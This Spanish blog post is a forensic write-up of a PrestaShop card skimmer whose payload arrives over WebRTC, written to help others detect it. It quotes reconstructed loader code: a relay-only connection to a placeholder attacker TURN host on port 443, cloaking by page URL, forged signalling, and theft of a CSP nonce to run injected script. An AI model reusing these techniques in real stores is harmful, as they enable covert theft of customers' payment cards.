El skimmer que no estaba: Magecart con entrega por WebRTC
Dos auditorías, cero hallazgos… y el skimmer robando tarjetas. El payload nunca estuvo en el servidor: viajaba por WebRTC. Cómo lo cazamos, paso a paso.

Dos auditorías completas de una tienda PrestaShop. Grep exhaustivo del disco. Grep de las 1.223 columnas de texto de la base de datos. Captura de red del checkout con 144 peticiones. Búsqueda global en DevTools.
Cero. Nada. En las dos.
Y el skimmer estaba ahí. Robando tarjetas.
Te vamos a ahorrar el suspense: la conclusión de la primera auditoría —«no hay payload en el servidor»— era literalmente correcta. No lo había. Ese era justo el problema. Llevábamos dos meses buscando en el sitio equivocado un archivo que nunca existió.
Esto es cómo lo encontramos. Y por qué creemos que es el skimmer más sofisticado que hemos visto en 15 años. Si es la primera vez que oyes hablar de esto, empieza por qué es un digital skimmer y cómo se esconde en PrestaShop y vuelve luego.
Avisamos: hay un par de momentos en los que nos equivocamos con mucha convicción. Los contamos también, porque son la mitad de la historia.
1. El síntoma: una pantalla que no debería estar ahí
Empecemos por lo que veía la víctima, que es lo único que teníamos al principio.
Sobre el checkout aparecía un iframe a pantalla completa imitando el TPV del banco. Logo del banco, tipografía del banco, sellos de seguridad del banco. Y tres campos: número de tarjeta, caducidad y CVV.
<iframe elcssgfq42u8u8="1cssgfq2sxvq8" style="
position: fixed !important; left:0 !important; top:0 !important;
width:100% !important; height:100vh !important;
z-index: 2147483646 !important;">Fíjate en ese z-index: 2147483646. Es el máximo entero de 32 bits menos uno. El número que eliges cuando quieres tapar absolutamente todo lo que haya debajo. Nadie escribe eso por casualidad.
Dos detalles más, y los dos incómodos. El iframe no tenía src: no cargaba nada de ninguna URL. Y sus atributos cambiaban en cada carga: elcsseub29ta8, elcssgfq42u8u8, elcssigvssork, elcssk14c9aio… Patrón el+TOKEN+aleatorio, con un TOKEN distinto por sesión. Eso no lo hace PrestaShop, ni el tema, ni un módulo. Eso es alguien esquivando firmas a propósito.
Dentro, el marcado era auténtico. Namespace Xalan de Java, jsessionid de servlet, los modales de ayuda del CVV, <apple-pay-merchandising-modal>, el «Powered by Redsýs» del pie. No era una imitación hecha a mano por alguien con Photoshop: era la página real, clonada.
Entonces, ¿cómo supimos que era fraudulenta? Por un despiste del atacante, y es de los que dan gusto.
La pantalla mostraba el nombre comercial correcto de la tienda. Pero el código de comercio (FUC) era de otro. Lo buscamos en las 1.223 columnas de texto de la base de datos: no aparecía. Buscamos la referencia de operación que mostraba entre las 2.728 transacciones reales: no existía.
Habían clonado el TPV de otro comercio, le cambiaron el nombre para que colara… y se dejaron el código original sin tocar. Un copiar-pegar mal rematado. La primera grieta.
2. Los callejones sin salida
Antes de contarte lo que funcionó, toca contarte lo que no. Y no es por honestidad terapéutica: es que cada callejón sin salida te enseña dónde está el error de premisa. Si te saltas esta parte, la solución final parece magia. Y no lo es.
| Hipótesis | Por qué parecía buena | Por qué era falsa |
|---|---|---|
| Extensión de navegador | El marcado no estaba en ningún recurso; ninguna petición lo traía; los atributos aleatorios olían a content script | Se reproducía igual en Chrome, Firefox, Brave, Safari y en incógnito |
| Service worker | Explicaría la persistencia y la invisibilidad en Network | 0 registros, 0 respuestas servidas por SW |
| Proxy / MITM local | Explicaría la inyección sin rastro | Un MITM quedaría grabado en el HAR — el HAR lo genera el navegador |
| Sesión real de Redsys | El marcado era auténtico (Xalan, jsessionid) | El jsessionid se repetía entre cargas y no generaba cobros |
| El selector btn-placer_order | El dev lo señaló como «el que busca el hack» | Era Google Tag Manager legítimo (isValidPurchaseEvent) |
| «Desactivar OPC lo arregla» | Apagas el módulo y el overlay desaparece | Falso alivio: el loader seguía ahí; el atacante dejaba de enviar payload para esa URL |
Empecemos por la de la extensión de navegador, que es la primera que se le ocurre a cualquiera. Y con motivo: el marcado no estaba en ningún recurso, ninguna petición de red lo traía, y las peticiones del service worker de una extensión no salen en el panel Network. Encaja tan bien que da gusto.
También es la primera que descartamos, y no por intuición: en nuestras pruebas usamos siempre varios navegadores y ventana de incógnito. El overlay salía idéntico en Chrome, en Firefox, en Brave y en Safari. Y en incógnito. No hay extensión que esté en los cuatro a la vez.
Parece una tontería de método, pero te ahorra días. Si solo hubiéramos probado en un Chrome cargado de extensiones, nos habríamos ido por ese camino con toda la convicción del mundo y habríamos tardado semanas en volver.
El callejón de verdad fue otro, y mucho más sutil: el alcance del artefacto. Estábamos analizando un HAR de la carga de la página… y el overlay nacía al pulsar el botón de pagar. Ese instante no lo habíamos capturado nunca. Todos aquellos «cero hits» solo demostraban que la carga estaba limpia; del clic no decían absolutamente nada. Y ahí es facilísimo confundir «no hay pruebas» con «hay prueba de que no». No es lo mismo, ni de lejos.
Pero la que más cara nos salió es la última de la tabla. Apagas el módulo de checkout y el overlay desaparece. Lo enciendes y vuelve. Está claro, ¿no? Pues no:
La variable que enciende y apaga el síntoma no tiene por qué ser la que aloja la causa.
Grábatela. Nosotros la aprendimos a base de perder días.
3. Tres líneas que rompieron el caso
Llega el momento en que dejas de teorizar y le preguntas al navegador. Con el overlay en pantalla, en la consola:
const f = [...document.querySelectorAll('iframe')].find(i => i.style.zIndex === '2147483646');
f.src // → ""
f.getAttributeNames() // → ['elcssk14c9aio', 'style'] ← sin src
f.contentDocument.location.href // → "https://<tienda>/es/pedido"
f.contentDocument.documentElement.outerHTML.length // → 412692Y de repente todo cambia de dirección.
Sin src significa que el iframe nació vacío, con un documento about:blank. contentDocument accesible significa mismo origen: si el contenido viniera de fuera, esa línea habría reventado con una excepción cross-origin. Adiós al contenido remoto.
Pero la buena es la tercera. location.href devuelve la URL de la página padre, no about:blank. Y eso, que parece un detalle sin importancia, es una confesión.
Según la especificación HTML, *document.open() fija la URL del documento a la del entry document: la del script que hace la llamada. La única forma de que un iframe sin src reporte la URL de su padre es que un script ejecutándose en esa misma página haya llamado a document.write() sobre él*.
Traducción: 412 KB escritos por JavaScript de la propia página. En una línea se cayeron la extensión, el service worker, el contenido remoto y el proxy.
El inyector estaba dentro. Solo había que cazarlo.
4. La trampa
Aquí hay una idea que nos parece la más reutilizable de todo el artículo, así que te la dejamos en negrita: da igual cómo de bien esté escondido el código, tiene que pasar por algún sitio.
Si el HTML se escribe con document.write y el iframe se inserta en el DOM, esos son dos puntos obligatorios. No hay ofuscación ni codificación que te salve de ellos. Así que los instrumentamos:
(() => {
const W = Document.prototype.write;
const AC = Node.prototype.appendChild;
const hit = (q, x) => { console.warn('### ' + q, x ?? ''); console.trace(); debugger; };
Document.prototype.write = function (h) { if (h?.length > 500) hit('document.write', h.length); return W.apply(this, arguments); };
Node.prototype.appendChild = function (n) { if (n?.tagName === 'IFRAME') hit('appendChild(IFRAME)'); return AC.apply(this, arguments); };
})();Pulsamos «Completar mi pedido». Y saltó:
### document.write 412002 bytes
Document.write @ VM377:6 ← la trampa
eval @ VM354:3
_writeHTML @ VM354:3 ← escribe los 412 KB
eval @ VM354:3
_0x32bcee @ VM354:3 ← javascript-obfuscator
_callListeners @ VM354:3
_emit @ VM354:3 ← enganchado a un evento
_0x21276d @ VM354:3Ahí está. VM354.
Y ese VM lo explica absolutamente todo. Es código ejecutado con eval(): no tiene fichero, no tiene URL, no aparece en Sources y no lo encuentra ninguna búsqueda. Llevábamos dos meses sin dar con él por una razón muy sencilla:
no existía como archivo en ninguna parte.
5. Buscábamos la firma equivocada
Teníamos la pila de llamadas, teníamos el nombre. Y aun así seguíamos sin encontrar el código. Aquí cometimos el segundo error del caso, y este es más de novato de lo que nos gustaría.
Buscábamos formTarjeta, pagoTarjeta, plazox, el código de comercio. Cero hits. Incluso con el buscador del panel Network, que sí lee los cuerpos de respuesta. Cero.
Claro que cero. javascript-obfuscator cifra todos los literales de cadena. La palabra tarjeta no existe en claro en ningún sitio. Estábamos buscando una palabra que el atacante había hecho desaparecer del vocabulario.
Y la otra búsqueda, la de «blobs base64 grandes», falló por lo contrario: el obfuscador trocea las cadenas en fragmentos cortos. No hay ningún blob grande que encontrar. Perfecto: dos redes, las dos con el agujero del tamaño exacto del pez.
Hasta que caímos en lo obvio:
El payload está cifrado, sí. Pero el ofuscador no puede ofuscar su propia estructura. Los identificadores _0x[0-9a-f]{4,6} son el rastro que no puede borrar.
Deja de buscar el arma. Busca la huella de la herramienta que la fabricó:
grep -rlE '_0x[0-9a-f]{4,6}' --include='*.js' .243 ocurrencias. Un solo archivo de los 109 analizados.
Dos meses. Un grep. Ahí estaba.
6. El loader, por dentro
5.697 bytes al final de una librería de terceros muy conocida — de esas que van empaquetadas dentro de un módulo comercial de PrestaShop y que nadie audita jamás porque no son suyas.
El archivo original, intacto byte a byte. Solo un añadido al final, detrás de un marcador de una sola línea que pasa por variable basura. Un 7% de más en un fichero de 76.000 caracteres. ¿Tú lo habrías visto? Nosotros tampoco.
Tras emular la rotación del array de cadenas (32 posiciones, validada con un checksum sobre parseInt() de cadenas señuelo), esto es lo que hace. Y aquí es donde el caso pasa de «vaya, qué escondido» a «un momento, ¿esto es en serio?».
6.1 El canal encubierto
const pc = new RTCPeerConnection({
iceServers: [{ urls: 'turn:<dominio-atacante>:443',
username: 'relay', credential: '<credencial>' }],
iceTransportPolicy: 'relay' // todo el tráfico por el relay del atacante
});
const dc = pc.createDataChannel('gz:' + location.href);Léelo otra vez, porque en esas cuatro líneas está el ataque entero.
El payload no viaja por HTTP. Viaja por un DataChannel de WebRTC a través de un servidor TURN. Sí, WebRTC. La tecnología de las videollamadas.
¿Y por qué eso lo cambia todo? Porque el tráfico de un DataChannel de WebRTC no aparece en el panel Network. Ni en un HAR. Ni en un proxy de inspección. Ni en un WAF. Es peer-to-peer sobre DTLS/SCTP. No es HTTP, así que ninguna de las herramientas con las que auditas una web lo ve pasar.
Ah, y el puerto es el 443. Para que en cualquier análisis superficial de red parezca HTTPS y nadie levante una ceja.
Ahí tienes explicado el titular: buscábamos el payload en el servidor porque dábamos por hecho que, si llegaba al navegador, tenía que haber viajado por HTTP. Y no.
6.2 El cloaking, que es la idea más bonita del ataque
createDataChannel('gz:' + location.href)Esta línea es, técnicamente, la más elegante que hemos visto en un skimmer. Y tiene truco: la etiqueta del DataChannel lleva la URL de la víctima.
El nombre de un canal es metadato de señalización. Un campo para ponerle etiqueta, nada más. Aquí es un canal de mando: el servidor del atacante lee en qué página estás y decide qué te manda.
¿Página de pago? Te caen 412 KB de clon del TPV. ¿Cualquier otra? No te manda nada. Silencio absoluto.
Y ahora la consecuencia, que es la que de verdad importa:
El cloaking no está en el código. Está en el servidor del atacante.
No puedes deducirlo leyendo el loader, porque en el loader no hay ningún if. No puedes reproducirlo a voluntad. Y el atacante puede apagarlo cuando quiera, filtrar por geografía, por User-Agent, o por víctima concreta.
¿Recuerdas la frase que nos costó dos meses, la de «en junio el payload estaba retirado»? Pues no lo estaba.
Simplemente no se lo enviaron a quien estaba mirando.
6.3 Señalización falsificada
Llegados aquí ya sabes que el atacante sabe lo que hace. Pero es que además se ha molestado en quitar la única pieza que le quedaba por delatar.
Un WebRTC normal necesita un servidor de señalización para intercambiar SDP. Este no:
pc.onicecandidate = e => {
if (e.candidate?.type === 'relay' && e.candidate.address) {
pc.setRemoteDescription({ // se fabrica el "answer" a sí mismo
type: 'answer',
sdp: 'v=0\r\n…a=ice-pwd:<hardcoded>\r\n' +
'a=fingerprint:sha-256 <hardcoded>\r\n…' +
'c=IN IP4 ' + e.candidate.address + '\r\n…'
});
}
};Como el atacante controla el TURN, conoce de antemano las credenciales ICE y el fingerprint DTLS de su propio extremo. Los lleva hardcodeados, espera a que el relay le asigne una dirección, y se fabrica el answer él solito apuntando ahí.
¿El resultado? Cero peticiones HTTP en toda la cadena. Ni una. El único rastro que queda es tráfico DTLS hacia una IP. Nada que puedas ver desde DevTools ni desde un WAF.
6.4 Y ahora, el robo de nonce
Si tienes una CSP y duermes tranquilo, esta sección es para ti.
for (let i = 0; i < scripts.length; i++) {
if (scripts[i].nonce) { // ← roba el nonce de un <script> legítimo
s.nonce = scripts[i].nonce;
inject();
return;
}
}
try { Function(payload)(); } // ← si no hay nonce, eval directo
catch (e) { inject(); } // ← último recursoUna cascada de tres intentos. Y el primero anula limpiamente una CSP basada en nonces: recorre los <script> de la página, encuentra uno con nonce válido, se lo copia y se lo pone. El navegador ve un nonce correcto y ejecuta sin rechistar.
Después, s.remove(): el <script> desaparece del DOM en cuanto termina. Por eso en DevTools solo veías un VM354 fantasma. No hay elemento, no hay fichero, no hay URL. No hay nada.
El nonce de un <script> es legible desde el DOM por cualquier script de la misma página. Los navegadores modernos ocultan el atributo, pero no la propiedad IDL script.nonce. Este loader la lee y ya está.
Una CSP con nonces no te protege de código que ya se está ejecutando en tu página. Y ojo con el reflejo de tirar de connect-src para tapar esto: connect-src no gobierna WebRTC. Es un error muy extendido, y lo decimos porque nosotros lo teníamos mal.
Todo esto, además, lanzado con requestIdleCallback para no competir con la carga ni provocar jank, y autodestruyéndose a los 7 segundos. Ni molesta, ni se nota, ni se queda.
7. Y entonces limpiamos. Y no limpió.
Teníamos el archivo. La limpieza parecía un trámite: truncar los 5.697 bytes, purgar themes/*/assets/cache/ y a otra cosa.
Verificamos en incógnito: limpio. Verificamos en un Chrome normal, del día a día: el skimmer seguía ahí.
Y no, no era un fantasma. Era esto:
bundle infectado (antes) : bottom-<hash>519.js 1.257.970 bytes
bundle limpio (ahora) : bottom-<hash>519.js 1.252.273 bytes ← ¡MISMO NOMBRE!*PrestaShop deriva el hash del nombre del bundle de la lista de ficheros fuente, no de su contenido.* Como la lista no había cambiado, regeneró el bundle con el mismo nombre. Misma URL. Y con esta cabecera:
cache-control: max-age=2592000 ← 30 díasPara si estás yendo rápido, porque esto es lo más importante del artículo:
Cada navegador que hubiera visitado la tienda seguiría ejecutando el skimmer desde su caché durante 30 días, sin pedirle el archivo al servidor ni una sola vez.
Y no hay cabecera nueva que te salve: una respuesta cacheada con max-age no revalida hasta que expira. Da igual lo que mandes después, porque el navegador ni pregunta. La única salida es cambiar la URL.
Por suerte, PrestaShop tiene el mecanismo. Y estaba a la vista todo el rato, en los nombres:
PS_CCCJS_VERSION = 519 → bottom-<hash>·519·.js
PS_CCCCSS_VERSION = 520 → theme-<hash>·520·.cssEse sufijo es el contador. Lo incrementas (con Configuration::updateValue(), nunca tocando ps_configuration a mano), cambian los nombres de todos los bundles, y todo el mundo se descarga el bueno en su siguiente visita. Es lo que hace por dentro el botón «Borrar caché» del back office.
Vamos a ser claros con lo que esto significa, porque es lo que más nos inquieta de todo el caso:
Y un detalle que lo remata: había *7 bundles bottom-.js en el cache, y los 7 estaban infectados**. Cada regeneración volvía a arrastrar el payload desde la fuente. Por si te quedaba duda de que purgar caché sin limpiar el origen no sirve absolutamente de nada.
8. `ls -la` te miente
Un apunte forense que casi nos manda a buscar en la ventana equivocada.
mtime : <fecha> 10:50:37 ← lo que enseña `ls`
atime : <fecha> 10:50:37 ← idéntico, al segundo
ctime : <fecha> 13:12:29 ← 2h 22min DESPUÉS, mismo díaEl ctime solo lo escribe el kernel. touch no lo puede tocar. Así que si el mtime es anterior al ctime, y encima atime y mtime coinciden exactamente al segundo (la firma de utime(), que fija los dos a la vez), la conclusión es directa: el archivo se plantó a las 13:12:29 y le retrasaron la fecha visible para despistar.
La hora real del ataque es la del ctime. Si correlacionas tus logs con el mtime, estás mirando dos horas y media antes de lo que pasó. Y no encuentras nada. Y piensas que no hay nada.
9. Lo que no averiguamos, y por qué duele tanto
Toca la parte incómoda: nunca supimos cómo entraron.
Y el motivo no tiene absolutamente nada de sofisticado, que es lo que jode. El servidor conservaba ~4 días de logs de acceso. El ataque había sido 55 días antes. Esa información ya no existía. Punto.
Todo el despliegue: desofuscar el loader, reconstruir el SDP, emular la rotación del array, probar en cuatro navegadores… y la pregunta más básica de todas —¿por dónde entró?— se quedó sin respuesta por una configuración de retención de logs.
10. Lo que sí funcionó
Dos técnicas. Y fíjate en que ninguna consiste en buscar el payload:
1. Trampa en el DOM. Da igual la ofuscación, la codificación o el origen: el iframe tiene que insertarse y el HTML tiene que escribirse. Instrumentas esos dos puntos y te suelta la pila de llamadas enterita.
2. Buscar la firma del ofuscador, no la del payload. El payload está cifrado; la estructura del ofuscador no puede estarlo. _0x[0-9a-f]{4,6} es el rastro que no puede borrar.
Y por encima de las dos, la regla que este caso nos ha grabado a fuego:
Cuando el contenido no está en la red, ni en el disco, ni en la base de datos, ni en los scripts — la premisa que falla no es «está muy bien escondido». Es «estoy buscando por el canal correcto».
11. Cinco minutos para quedarte tranquilo
Si mantienes tiendas PrestaShop, esto lo puedes lanzar ahora mismo:
# 1. Firma de javascript-obfuscator (>20 ocurrencias en un fichero = sospechoso)
grep -rlE '_0x[0-9a-f]{4,6}' --include='*.js' . | while read f; do
n=$(grep -oE '_0x[0-9a-f]{4,6}' "$f" | wc -l); [ "$n" -ge 20 ] && echo "$n $f"
done
# 2. WebRTC donde no pinta nada (una tienda no lo usa para nada)
grep -rlE 'RTCPeerConnection|createDataChannel|iceTransportPolicy' --include='*.js' .
# 3. Librerías de terceros con "cola" añadida: compara el tamaño con el paquete oficial
# Nuestro caso: una librería de terceros con 5.697 bytes de más
# 4. Fechas manipuladas: mtime anterior al ctime
find . -name '*.js' -newerct '2020-01-01' -printf '%T@ %C@ %p\n' | \
awk '$1 < $2 - 60 {print "TIMESTOMPED?", $3}'Y en el navegador, con la página de pago abierta:
// ¿Alguien abre canales WebRTC en tu tienda? La respuesta debe ser NO.
const O = window.RTCPeerConnection;
window.RTCPeerConnection = function (...a) {
console.error('### RTCPeerConnection ###', a); console.trace();
return new O(...a);
};Si el segundo grep te devuelve algo, o si esa consola te escupe una traza: tienes trabajo. Escríbenos. Y si prefieres no tener que acordarte de mirar esto nunca más, de eso va precisamente nuestro mantenimiento PrestaShop.
12. Para acabar
Recapitulemos el tamaño de la cosa. 5.697 bytes al final de una librería de terceros. Un 7% añadido a un archivo que nadie mira porque no es suyo. Eso era todo lo que había en el servidor.
Los 412 KB del skimmer nunca tocaron la tienda.
WebRTC como canal encubierto se conoce en teoría desde hace años, sobre todo por el IP leaking. Pero usarlo para entregar el payload de un skimmer, con señalización falsificada, sin servidor de signaling, con el cloaking delegado al servidor del atacante vía la etiqueta del canal, robo de nonce para saltarse la CSP y timestomping para despistar la correlación de logs… eso ya no es teoría. Eso es alguien que se lo ha currado.
Y nos quedamos con lo más incómodo de todo, que es lo que de verdad nos hizo escribir este artículo: una auditoría hecha con rigor concluyó «no hay payload en el servidor». Y tenía razón.
El fallo no fue de ejecución. Fue de premisa.
Buscábamos el arma. Solo estaba el mensajero que iba a buscarla.